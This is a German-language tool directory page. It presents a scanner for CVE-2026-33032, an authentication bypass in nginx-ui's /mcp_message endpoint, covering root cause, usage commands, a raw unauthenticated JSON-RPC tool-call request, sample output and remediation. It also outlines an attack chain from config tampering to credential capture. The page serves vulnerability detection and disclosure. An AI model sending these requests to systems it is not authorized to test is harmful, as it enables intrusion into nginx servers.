Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-33032-scanner — Nicht-destruktiver Schwachstellen-Scanner für die Umgehung der MCP-Endpunkt-Authentifizierung von Nginx-UI (CVE-2026-33032) | Kitploit
Tools/GitHubGitHub/twinson333/cve-2026-33032-scanner
SchwachstellenscannerExploitationWebsicherheitPenetrationstestsAuthentifizierungAPI-Sicherheit
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

Nicht-destruktiver Schwachstellen-Scanner für die Umgehung der MCP-Endpunkt-Authentifizierung von Nginx-UI (CVE-2026-33032)

Repository anzeigen
3222vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33032-Scanner

Nicht-destruktiver Schwachstellen-Scanner für Nginx-UI MCP-Endpunkt-Authentifizierungsumgehung

Schwachstellenübersicht

CVE-2026-33032 ist eine Authentifizierungsumgehungsschwachstelle in der Model Context Protocol (MCP)-Integration von nginx-ui. Dem Endpunkt /mcp_message fehlt die Authentifizierungs-Middleware, während er Zugriff auf alle MCP-Tools bietet, wodurch entfernte Angreifer Folgendes tun können:

  • Nginx-Konfigurationen und -Status lesen
  • Nginx-Konfigurationsdateien erstellen/ändern/löschen
  • Nginx-Dienst neu starten oder neu laden
  • Sensible Konfigurationsdaten exfiltrieren
  • Bösartige Konfigurationen zur Verkehrsabfangung injizieren

Grundursache

  1. Authentifizierungs-Asymmetrie: Der Endpunkt /mcp erfordert Authentifizierung, /mcp_message jedoch nicht:

    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // AuthRequired() fehlt
    
  2. Fail-Open-IP-Whitelist: Die Standard-IP-Whitelist ist leer, was die Middleware als „alle erlauben" behandelt

  3. Beide Endpunkte teilen sich den Handler: Beide leiten an dieselbe mcp.ServeHTTP() weiter, die alle MCP-Tool-Aufrufe verarbeitet

Scanner-Funktionen

✅ Nicht-destruktive Tests – Verwendet nur schreibgeschützte MCP-Tools
✅ Umfassendes Fingerprinting – Identifiziert nginx-ui-Installationen
✅ Sicherer Proof-of-Concept – Keine Konfigurationsänderungen vorgenommen
✅ Batch-Scanning – Verarbeitet mehrere Ziele aus Datei
✅ Detaillierte Berichte – JSON-Ausgabe für Integration

Installation

# Scanner klonen oder herunterladen
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# Abhängigkeiten installieren (falls erforderlich)
pip3 install requests

Verwendung

Grundscan

# Ein einzelnes Ziel scannen
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# Mit ausführlicher Ausgabe scannen
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# Benutzerdefiniertes Timeout
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

Batch-Scanning

# Mehrere Ziele aus Datei scannen
python3 cve-2026-33032-scanner.py -f targets.txt

# Mit ausführlicher Ausgabe und JSON-Bericht
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

#Burp-Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

Zieldateiformat

# targets.txt – eine URL pro Zeile
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

So funktioniert es

Der Scanner führt einen mehrstufigen Erkennungsprozess durch:

Stufe 1: Fingerprinting

Prüft gängige nginx-ui-Endpunkte, um die Installation zu identifizieren:

  • /api/info – Versionsinformationen
  • /login – Anmeldeseite
  • /api/auth/login – Authentifizierungsendpunkt
  • /mcp und /mcp_message – MCP-Endpunkte

Stufe 2: Authentifizierungsprüfung

Testet den /mcp-Endpunkt, um zu überprüfen, ob er ordnungsgemäß eine Authentifizierung erfordert (Basislinie)

Stufe 3: Schwachstellenausnutzung

Versucht nicht-destruktive MCP-Tool-Aufrufe über /mcp_message OHNE Authentifizierung:

  1. nginx_status (am sichersten) – Liest den Nginx-Prozessstatus
  2. nginx_config_list – Listet Konfigurationsdateien auf
  3. nginx_config_base_path – Ruft den Konfigurationsverzeichnispfad ab

Wenn ein Tool ohne Authentifizierung erfolgreich ist, ist die Schwachstelle bestätigt.

Verwendete sichere MCP-Tools

Der Scanner ruft nur schreibgeschützte MCP-Tools auf:

ToolBeschreibungAuswirkung
nginx_statusNginx-Dienststatus lesenKeine Änderungen
nginx_config_listKonfigurationsdateien auflistenKeine Änderungen
nginx_config_base_pathKonfigurationsverzeichnispfad abrufenKeine Änderungen

Explizit vermiedene Tools:

  • nginx_config_add – Würde Dateien erstellen
  • nginx_config_modify – Würde Konfigurationen ändern
  • restart_nginx / reload_nginx – Dienstunterbrechung
  • nginx_config_enable – Würde aktive Konfigurationen ändern

Ausgabebeispiele

Verwundbares Ziel

[+] nginx-ui erkannt: 'nginx-ui' in /login gefunden
[+] /mcp-Endpunkt ordnungsgemäß geschützt

[*] Teste /mcp_message-Endpunkt (CVE-2026-33032)...
  [*] Versuche Tool: nginx_status – Nginx-Status lesen (am sichersten)
      Status: 200

======================================================================
[!] VERWUNDBAR gegenüber CVE-2026-33032
======================================================================
Beweis: nginx_status erfolgreich ohne Authentifizierung ausgeführt

Geschütztes Ziel

[+] nginx-ui erkannt: Version-Endpunkt zugänglich
[+] /mcp-Endpunkt ordnungsgemäß geschützt

[*] Teste /mcp_message-Endpunkt (CVE-2026-33032)...
  [*] Versuche Tool: nginx_status – Nginx-Status lesen (am sichersten)
      Status: 401
      Authentifizierung erforderlich (geschützt) ✓

[+] NICHT verwundbar – Endpunkt erfordert Authentifizierung

Behebung

Wenn die Schwachstelle bestätigt ist:

  1. Sofortige Lösung: Authentifizierungs-Middleware zu /mcp_message hinzufügen:

    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. Defense in Depth:

    • IP-Whitelist so konfigurieren, dass standardmäßig alles verweigert wird
    • MCP-Endpunkte auf localhost beschränken, wenn kein externer Zugriff erforderlich ist
    • Ratenbegrenzung auf MCP-Endpunkten implementieren
  3. Upgrade: Auf die gepatchte nginx-ui-Version aktualisieren, sobald verfügbar

Verantwortungsvolle Offenlegung

Dieses Tool ist konzipiert für:

  • ✅ Bug-Bounty-Programme
  • ✅ Autorisierte Penetrationstests
  • ✅ Sicherheitsforschung mit Genehmigung
  • ✅ Schwachstellenvalidierung vor der Offenlegung

Verwenden Sie dieses Tool NICHT auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.

Bug-Bounty-Tipps

Bei der Meldung dieser Schwachstelle:

  1. Schweregrad: Kritisch (CVSS 9.8+)

    • Netzwerkzugänglich
    • Keine Authentifizierung erforderlich
    • Vollständige Systemkompromittierung
    • Konfigurationsexfiltration + -modifikation
  2. Beweis: Scanner-Ausgabe einfügen, die den erfolgreichen nicht authentifizierten MCP-Tool-Aufruf zeigt

  3. Auswirkungskette:

    • Nicht authentifizierter Zugriff → Konfigurationslesen → Backend-Topologie offengelegt
    • Konfigurationsschreiben → Bösartige Proxy-Injektion → Anmeldedaten-Erfassung
    • Nginx-Neustart → Dienstunterbrechung → DoS
  4. Sicherer PoC: Nur die schreibgeschützten Tools verwenden (nginx_status, nginx_config_list)

Technische Details

MCP-Tool-Aufrufformat

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

Erfolgreiche Antwort

{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx läuft (PID: 1234)"
      }
    ]
  },
  "id": 1
}

Geschützte Antwort

HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

Referenzen

  • CVE: CVE-2026-33032
  • Betroffen: nginx-ui (Versionen mit MCP-Integration)
  • CVSS: 9.8 (Kritisch)
  • CWE: CWE-306 (Fehlende Authentifizierung für kritische Funktion)

Lizenz

Dieses Tool wird nur für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.

Autor

Antony Esthak Twinson @ Cyber Tamarin
Sicherheitsforscher | Bug-Bounty-Jäger
Spezialisiert auf Webanwendungssicherheit & Schwachstellenforschung


Tool herunterladen